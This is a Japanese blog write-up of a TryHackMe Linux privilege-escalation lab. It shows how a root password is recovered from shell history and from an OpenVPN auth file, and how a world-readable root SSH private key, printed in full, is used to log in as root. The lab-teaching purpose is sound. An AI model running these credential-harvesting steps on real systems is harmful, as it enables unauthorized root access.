今回は、「historyファイルやconfigファイル、重要ファイルのバックアップを悪用した権限昇格」をやってみます。
ターゲットマシンは、TryHackMeの下記のRoomを利用します。
「TryHackMe-Linux PrivEsc:https://tryhackme.com/room/linuxprivesc」
![](https://i.imgur.com/RuMC2vG.png)
こちらの記事は、Part8になります。
TryHackMeでLinux PrivEscのWriteupを確認したい方は、「SUID/SGID実行可能ファイルを利用した権限昇格」も確認してくだ
![](https://hack-lab-256.com/wp-content/uploads/2023/04/hack-lab-256-samnail-13-300x169.jpg)
![](https://hack-lab-256.com/wp-content/plugins/pochipp/assets/img/pochipp-logo-t1.png)
![](https://hack-lab-256.com/wp-content/plugins/pochipp/assets/img/pochipp-logo-t1.png)
![](https://hack-lab-256.com/wp-content/plugins/pochipp/assets/img/pochipp-logo-t1.png)
![](https://hack-lab-256.com/wp-content/plugins/pochipp/assets/img/pochipp-logo-t1.png)
事前準備
まずは、ターゲットマシンを起動しておきましょう。
TryHackMeを利用するので、「Start Machine」で実行します。
![](https://hack-lab-256.com/wp-content/uploads/2023/04/image-11-1024x463.png)
下記のようにIP Addressが出てくればOKでです!
![](https://hack-lab-256.com/wp-content/uploads/2023/04/image-12-1024x128.png)
今回は、「user/password321」でログインしてから、権限昇格を試みますので、sshでログインできるところまで確認しておきましょう。
┌──(hacklab㉿hacklab)-[~]
└─$ ssh user@10.10.41.226
The authenticity of host '10.10.41.226 (10.10.41.226)' can't be established.
RSA key fingerprint is SHA256:JwwPVfqC+8LPQda0B9wFLZzXCXcoAho6s8wYGjktAnk.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.41.226' (RSA) to the list of known hosts.
user@10.10.41.226's password:
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 15 06:41:23 2020 from 192.168.1.125
user@debian:~$
Passwords & Keys – History Files(履歴ファイル)
ユーザーがパスワードプロンプトではなく、コマンドラインでパスワードを入力した際に、コマンドを誤ると履歴ファイルに記録される場合があります。
コマンドが間違っていたが、パスワードは間違っていなかった場合、これを悪用することも可能です。
ユーザーのホームディレクトリにあるすべての非表示の履歴ファイルの内容を確認してみましょう。
user@debian:~$ cat ~/.*history | less
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123
exit
cd /tmp
clear
ifconfig
netstat -antp
nano myvpn.ovpn
ls
identify
ユーザは、「root」と「password123」で、MySQLサーバーに接続しようとして、失敗していたことがわかります。
-uと-pの後ろに、スペースを忘れたしまったという例ですね。
これを利用して、rootに権限昇格します。
user@debian:~$ su root
Password:
root@debian:/home/user# whoami
root
root権限を取得することができました。
普段からhistoryにパスワードを残さないような工夫が必要そうですね。
Passwords & Keys – Config Files(構成ファイル)
多くの場合、configファイルには、プレーンテキストや可逆形式のパスワードが含まれています。
次は、configファイルを悪用して、権限昇格を狙いましょう。
ユーザのホームディレクトリの内容を一覧表示します。
user@debian:~$ ls /home/user
myvpn.ovpn tools
myvpn.ovpnが存在しますので、ファイルの中身を確認してみます。
user@debian:~$ cat /home/user/myvpn.ovpn
client
dev tun
proto udp
remote 10.10.10.10 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
tls-client
remote-cert-tls server
auth-user-pass /etc/openvpn/auth.txt
comp-lzo
verb 1
reneg-sec 0
「auth-user-pass /etc/openvpn/auth.txt」の「/etc/openvpn/auth.txt」が怪しそうですね。
内容を確認してみます。
user@debian:~$ cat /etc/openvpn/auth.txt
root
password123
「root」と「password123」であることが確認できました。
user@debian:~$ su root
Password:
root@debian:/home/user# whoami
root
無事、root権限を取得できましたね。
Passwords & Keys – SSH Keys(SSHキー)
ユーザが重要なファイルをバックアップする際に、不適切なアクセス権限を付与してバックアップしてしまうことがあります。
次は、不適切なアクセス権限を付与してしまっているファイルを悪用して権限昇格を狙います。
まずは、ルートディレクトリで隠しファイルとディレクトリを確認します。
user@debian:~$ ls -la /
total 96
drwxr-xr-x 22 root root 4096 Aug 25 2019 .
drwxr-xr-x 22 root root 4096 Aug 25 2019 ..
drwxr-xr-x 2 root root 4096 Aug 25 2019 bin
drwxr-xr-x 3 root root 4096 May 12 2017 boot
drwxr-xr-x 12 root root 2820 Apr 15 06:40 dev
drwxr-xr-x 67 root root 4096 Apr 15 07:06 etc
drwxr-xr-x 3 root root 4096 May 15 2017 home
lrwxrwxrwx 1 root root 30 May 12 2017 initrd.img -> boot/initrd.img-2.6.32-5-amd64
drwxr-xr-x 12 root root 12288 May 14 2017 lib
lrwxrwxrwx 1 root root 4 May 12 2017 lib64 -> /lib
drwx------ 2 root root 16384 May 12 2017 lost+found
drwxr-xr-x 3 root root 4096 May 12 2017 media
drwxr-xr-x 2 root root 4096 Jun 11 2014 mnt
drwxr-xr-x 2 root root 4096 May 12 2017 opt
dr-xr-xr-x 96 root root 0 Apr 15 06:39 proc
drwx------ 5 root root 4096 May 15 2020 root
drwxr-xr-x 2 root root 4096 May 13 2017 sbin
drwxr-xr-x 2 root root 4096 Jul 21 2010 selinux
drwxr-xr-x 2 root root 4096 May 12 2017 srv
drwxr-xr-x 2 root root 4096 Aug 25 2019 .ssh
drwxr-xr-x 13 root root 0 Apr 15 06:39 sys
drwxrwxrwt 2 root root 4096 Apr 15 07:25 tmp
drwxr-xr-x 11 root root 4096 May 13 2017 usr
drwxr-xr-x 14 root root 4096 May 13 2017 var
lrwxrwxrwx 1 root root 27 May 12 2017 vmlinuz -> boot/vmlinuz-2.6.32-5-amd64
「.ssh」という隠しファイルがありますね。
ディレクトリの中を見てみます・
user@debian:~$ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25 2019 root_key
「root_key」という、おそらくrootのprivate keyであろうファイルが、だれでも読み取りできるような権限になってしまっています。
中身を確認してみます。
user@debian:~$ cat /.ssh/root_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl
p4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQo
OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFET
Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2
NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZ
YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el
WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7
VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7
6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW
1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K
824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6
Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
U7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1
Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51Zi
SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV
d+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561Im
jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa
871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfN
Whp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==
-----END RSA PRIVATE KEY-----
予想通り、private keyでしたね。
では、これを利用して、rootでアクセスしてみましょう。
攻撃マシン側に先ほどのprivate keyをコピーしてきます。
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv]
└─$ vi root_key
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv]
└─$ cat root_key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA3IIf6Wczcdm38MZ9+QADSYq9FfKfwj0mJaUteyJHWHZ3/GNm
gLTH3Fov2Ss8QuGfvvD4CQ1f4N0PqnaJ2WJrKSP8QyxJ7YtRTk0JoTSGWTeUpExl
p4oSmTxYnO0LDcsezwNhBZn0kljtGu9p+dmmKbk40W4SWlTvU1LcEHRr6RgWMgQo
OHhxUFddFtYrknS4GiL5TJH6bt57xoIECnRc/8suZyWzgRzbo+TvDewK3ZhBN7HD
eV9G5JrjnVrDqSjhysUANmUTjUCTSsofUwlum+pU/dl9YCkXJRp7Hgy/QkFKpFET
Z36Z0g1JtQkwWxUD/iFj+iapkLuMaVT5dCq9kQIDAQABAoIBAQDDWdSDppYA6uz2
NiMsEULYSD0z0HqQTjQZbbhZOgkS6gFqa3VH2OCm6o8xSghdCB3Jvxk+i8bBI5bZ
YaLGH1boX6UArZ/g/mfNgpphYnMTXxYkaDo2ry/C6Z9nhukgEy78HvY5TCdL79Q+
5JNyccuvcxRPFcDUniJYIzQqr7laCgNU2R1lL87Qai6B6gJpyB9cP68rA02244el
WUXcZTk68p9dk2Q3tk3r/oYHf2LTkgPShXBEwP1VkF/2FFPvwi1JCCMUGS27avN7
VDFru8hDPCCmE3j4N9Sw6X/sSDR9ESg4+iNTsD2ziwGDYnizzY2e1+75zLyYZ4N7
6JoPCYFxAoGBAPi0ALpmNz17iFClfIqDrunUy8JT4aFxl0kQ5y9rKeFwNu50nTIW
1X+343539fKIcuPB0JY9ZkO9d4tp8M1Slebv/p4ITdKf43yTjClbd/FpyG2QNy3K
824ihKlQVDC9eYezWWs2pqZk/AqO2IHSlzL4v0T0GyzOsKJH6NGTvYhrAoGBAOL6
Wg07OXE08XsLJE+ujVPH4DQMqRz/G1vwztPkSmeqZ8/qsLW2bINLhndZdd1FaPzc
U7LXiuDNcl5u+Pihbv73rPNZOsixkklb5t3Jg1OcvvYcL6hMRwLL4iqG8YDBmlK1
Rg1CjY1csnqTOMJUVEHy0ofroEMLf/0uVRP3VsDzAoGBAIKFJSSt5Cu2GxIH51Zi
SXeaH906XF132aeU4V83ZGFVnN6EAMN6zE0c2p1So5bHGVSCMM/IJVVDp+tYi/GV
d+oc5YlWXlE9bAvC+3nw8P+XPoKRfwPfUOXp46lf6O8zYQZgj3r+0XLd6JA561Im
jQdJGEg9u81GI9jm2D60xHFFAoGAPFatRcMuvAeFAl6t4njWnSUPVwbelhTDIyfa
871GglRskHslSskaA7U6I9QmXxIqnL29ild+VdCHzM7XZNEVfrY8xdw8okmCR/ok
X2VIghuzMB3CFY1hez7T+tYwsTfGXKJP4wqEMsYntCoa9p4QYA+7I+LhkbEm7xk4
CLzB1T0CgYB2Ijb2DpcWlxjX08JRVi8+R7T2Fhh4L5FuykcDeZm1OvYeCML32EfN
Whp/Mr5B5GDmMHBRtKaiLS8/NRAokiibsCmMzQegmfipo+35DNTW66DDq47RFgR4
LnM9yXzn+CbIJGeJk5XUFQuLSv0f6uiaWNi7t9UNyayRmwejI6phSw==
-----END RSA PRIVATE KEY-----
sshクライアントは、適切なアクセス権限にしておかないと、エラーになるので、chmodを利用して、アクセス権限を変更します。
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv]
└─$ chmod 600 root_key
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv]
└─$ ll
合計 4
-rw------- 1 hacklab hacklab 1679 4月 15 20:30 root_key
この状態で、sshしてみると、無事アクセスすることができました。
┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv]
└─$ ssh -i root_key root@10.10.41.226 130 ⨯
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 25 14:02:49 2019 from 192.168.1.2
root@debian:~# whoami
root
もちろん、root権限でアクセスできてますね!
まとめ
今回は、「historyファイルやconfigファイル、重要ファイルのバックアップを悪用した権限昇格」をやってみました。
結構気を付けないといけないなと思うような内容だったので、今後の仕事などでは気を付けていかないと。。。
皆さんも、会社で知らず知らず大切な情報を漏らしている可能性があるので、気を付けるようにしてください。
参考文献・サイト
ー